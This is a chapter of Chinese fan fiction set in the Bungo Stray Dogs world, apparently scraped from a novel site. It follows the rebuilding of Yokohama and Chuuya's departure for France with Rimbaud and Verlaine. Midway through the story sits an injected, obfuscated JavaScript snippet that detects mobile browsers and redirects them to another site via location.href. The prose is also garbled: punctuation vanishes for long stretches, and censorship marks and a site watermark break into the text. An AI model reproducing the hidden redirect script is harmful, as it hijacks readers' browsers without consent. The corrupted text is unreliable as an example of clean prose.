惊心动魄的一夜过去,整座横滨都破得不成模样,到处都是坍塌的瓦砾与废墟。
好在民众都被提前疏散,没有伤亡。
按照最初定下的作战策略,在遭受异能攻击、却找不到敌方异能者的情况下,非异能者都必须尽快撤离异能发动区域。
因此,由非异能者组成的小队也仅有部分人在撤退过程中受伤,大部分人都安然无恙。
毕竟还有与谢野晶子被一支异能者小队紧紧护卫着,在这座城市里奔波,用【请君勿死】的治疗系异能治愈所有伤者。
森鸥外眼馋她的异能好久了,总夸赞这是最适合打造【不死军团】的异能什么的,邀请她来自己这边工作。
但与谢野晶子在武装侦探社待得好好的,干嘛要搭理这种奇怪的家伙?
她一贯都是无视掉的,被念叨烦了还会冷冰冰的问需不需要体验活体解剖再完全医治的服务,是额外赠品。
森鸥外:…………算了算了。
不过,等海啸警报解除,民众终于得以回到横滨时,对着眼前这副堪称惨不忍睹的横滨现状,彻底惊呆。
这、这是海啸能有的威力吗??
这是被推土机加挖掘机碾过去了吧!?
还是哥斯拉加奥特曼加变形金刚在这里打了场群架啊!
但政府许诺会出资金与人员进行最快程度的重建,又再三咬死就是海啸造成的灾难,大家也只能半信半疑,先住进政府在附近搭建的安置房里。
至于说要如何进行最快程度的重建……
异能特务科出面,只要是能帮助加快施工与修建进程的异能者,全部都花大价钱请了过去。
“芥川超级受欢迎哦,他那个控制衣服布料的异能可管用了,能一口气延伸出七八条触手干活,搬重物也不累。”
“织田作去当安全员啦,他的预知异能都快被某些信徒当成神迹……”
“还有大佐,能让物□□化并操控的异能,搅拌起混凝土来真是一把好手……”
“红叶大姐,驱使她的夜叉去帮忙劈横梁的木头……”
太宰治掰着指头算来算去,解释为什么在机场上的送行人员这么少。
大家都忙着在工地上干得热火朝天呢。
“要不是中也得回法国,种田长官可是无论如何都会邀请你去搬砖哦。”
太宰治笑眯眯的,又将双手背在身后。
他今天没有穿着黑西装大衣加衬衫的干部打扮仅是套了件普通的浅色风衣。
“就这样放弃港口mafia首领的位置不感到可惜吗?”
太宰治问中原中也换来后者的一记轻哼。
“那只是我的一年期校外实习而已又不是我未来想当的职业。”
中原中也单手插兜连说话也显得懒洋洋的
大概是因为兰波与魏尔伦都站在他身后吧有大人撑腰的少年腰杆都挺直了压根不在意什么首领不首领的。
“何况啊比起坐在那间空荡荡的办公室里处理各种麻烦事我当首领最开心的时间还是和你们一起玩耍的时候。”
毕竟快要分别了中原中也偏了偏脑袋有点不好意思但还是诚实的将这句心里话说出了口。
“咦这次竟然不是法国来的傲娇小王子了?”
【旗会】里的信天翁戏谑着朝他眨了眨眼。
担心人太多会造成交通拥堵除了太宰治外便是和中原中也玩得最好的【旗会】前来送行。
何况如今的总统热门人选——兰波是世界范围内的出名人太多引起注意了也不好。
“谁是傲娇小王子啊揍你啊!”
一听信天翁又拿自己起的绰号来揶揄他中原中也顿时就跳着脚炸毛了。
“哈哈哈哈信天翁好歹对我们的前任首领放尊重点。”
钢琴家愉快笑着打圆场边朝中原中也上前一步。
“从认识你的那天开始算起正好过了一周年对吧?”
“…是啊。”中原中也困惑应了声。
“于是呢我们几个人商量了下给你准备了一份周年纪念品。”钢琴家说。
“咦……什么?”中原中也问“纪念我成为港口mafia首领一周年吗?”
“是纪念我们成为朋友一周年。”
钢琴家笑着摇了摇头从怀里取出一样东西在中原中也不可置信的震惊目光中递到他的眼前。
那是一张有些泛黄、但明显被精心保存着的合照。
背景是一处不知名街道的木质小洋楼楼前则是静谧又温馨的庭院种着茂盛的龙柏树在摇曳间洒落细碎的光斑。
庭院内则是大约四岁的小小中也穿着印有菖蒲纹样的精致浴衣叉起腰站在一对年轻的夫妻身前朝镜头露出格外神气又烂漫的笑容。
这是属
于中原中也的过去。
“你们……怎么找到的?”
他接过那张照片时,指尖仍然有点颤抖。
“你和我们说过吧?你并不是在法国出生的,只是八岁的时候遇到一场灾难,失去过往的记忆,才被兰波与魏尔伦大哥收养。”
“于是呢,我们根据你的名字,以及你说的那点线索,花费了好大**夫,才找到你的亲生父母喔。”
宣传官露出十分柔和的微笑。
“很不容易呢,还拜托了森医生帮忙,因为他以前是情报贩子,比我们的消息渠道要多得多。”
“包括太宰的头脑,能从那么多资料中分析出与你有关联的那几份。”
冷血轻轻点头,也补充说明道。
“原本,医生通过你的医疗记录,找到了另一人。但太宰很肯定的说这不是中也的父亲,医生就放弃那条线索,继续深挖下去了。”
被提到代号的医生耸了下肩,似乎在说他认为这件事值得他花费如此大的力气去做。
“呼呼。”
同样出了一份功劳的太宰治没有说话,而是举起了手机。
中原中也的目光从手里的照片挪开,一下就对上了那个黑洞洞的镜头。
“……干、干嘛?”
“在等着把中也哭哭的表情拍下来呢。”
太宰治弯起眼眸,笑得格外坏心眼。
“哎呀,这样不就枉费我花了这么大力气……”
“……谁会哭啊!”
原本想要说些什么的中原中也立刻凶巴巴地竖起眉毛,摆出半是羞恼半是愤怒的表情,连音量都大了起来。
“我、我只是有点感动而已,别觉得我会直接在这里掉眼泪啊!太丢脸的反应我是不会在这里做的!混蛋!”
“啊啊好的好的,这位无敌的小王子阁下。”
太宰治用[你怎么说都行]啦的语气哄他,边调转手机。
“那就这样把,”
——他无视了中原中也生气的抱怨“谁是无敌的小王子阁下……为什么偏偏要加个小字啊!”,而是朝他的方向也退了一步,并让【旗会】的五人也围拢过来。
兰波与魏尔伦也配合站近了些,半俯下身,看向镜头。
“大家一起来拍张合照啦。”
咔嚓。
整张脸都绷得紧紧,在努力吸鼻子不要让自己掉眼泪的中原中也,就这么被包围在一群人中间,留下了新的大合照。
随后,他们
暂时分别,中原中也跟着兰波与魏尔伦返回法国,并约好以后会再来玩。
太宰治双手插在风衣兜里,心情看上去很好。
“太宰大人,不告诉他其余的真相,真的好吗?”
钢琴家开口,“毕竟,我们还查到了中也和九年前的擂钵街**有关,而那时的他是研究所的……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134820|196249||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“不要紧不要紧——”
太宰治拖着长音回道,“你难道没发现魏尔伦的异能和中也是同一种吗?如果中也在讲述自己身世时不知道这件事,就意味着魏尔伦特意没有告诉他。”
“要是你们随随便便就告诉中也,搞不好会惹来[暗杀王]的死亡注视哦?”
这句威胁实在太有力,令【旗会】众人瞬间偃旗息鼓,完全没有再打算告诉中原中也真正身世的想法。
望着那三人早已消失不见的通道口,信天翁的表情格外轻松。
“反正,我们的小王子现在也过得很快乐嘛。”
他说出众人的心声。
…………
另一边。
“中也,既然他们帮你找到了你的亲生父母。”
前往安检口时,兰波单手环在他肩膀上,温和笑着说道。
“你可以去看他们的,我们并没有那么着急回到法国。”
在短暂的安静后,中原中也摇了摇头,将那张合照收回口袋里,缓慢吐了口气。
“不用了,”他说。
“我的家人,现在是你们。”
这句话太过柔软,瞬间击中了兰波与魏尔伦的心底。
“我们也是如此。”
魏尔伦笑起来,也想要将手放在中原中也肩膀上——扑了个空。
解放**状态造成的后遗症仍旧存在,他的视野相当模糊,到处都是重影。
理论上来说,与谢野晶子的异能可以轻松医治好这点生理性的撕裂内伤,能让魏尔伦瞬间就痊愈如初。
……但是,兰波不准。
用他的原话说就是,“必须要给保罗一个教训,让他好好体验下随便违反我的指令,解放**状态的后果”……而魏尔伦只能服从。
因此,魏尔伦现在是顶着身体各处传来的酸疼与钝痛,以及半个瞎子的视力,默默跟着兰波踏上前往法国的归途。
兰波偏过目光看了他一眼,伸出手,将魏尔伦那拍空的手轻轻握住,十指亲昵交叉。
魏尔伦的眼眸隐晦亮了亮,顺从地朝兰波身边更靠近些。
“等你回法国养好伤后,我还需要抽空去一趟伦敦,把亚当留下的右臂还给玛丽·雪莱,并向她道谢。
兰波轻声对魏尔伦说道。
在战斗结束后,那截连接着耐时电缆的亚当右臂就被收起来,仔细地放在行李箱内,一同跟着运往法国。
“我也去。魏尔伦点头。
“还有我。中原中也立刻插话,“同意亚当的作战方案,用异能把他丢出去的是我,该道歉的人也是我。
“好。
兰波无奈笑着,答应了他们的要求。
但不论接下来的行程是什么,他们都需要先回到法国,毕竟兰波的竞选演讲排程很紧,即将开始新的一轮。
中原中也同样需要找都德紧急补落下的高中课程,以免考了个不及格,被迫留级。
至于魏尔伦,也有他的苦恼。
……滴眼药水。
距离上次解放**状态已经过去十余年之久,这也意味着魏尔伦的身体对眼药水那条件反射的躲避,如今又在兰波面前重演。
再次滴眼药水失败的兰波,面对与当初同样乖乖坐在沙发上的魏尔伦,好气又好笑。
“你已经二十多岁了,保罗。他道,“怎么还会害怕点眼药水呢?
“………魏尔伦努力让自己表现得无辜又纯良。
“我也不知道,可能是因为我看不清,反而更紧张了。
说</a>更新,记住域名caixs?(请来才小
说
看最新章节
完整章节)
“——好吧,兰波想了想,再度开口道。
“让我们重新来玩那个游戏。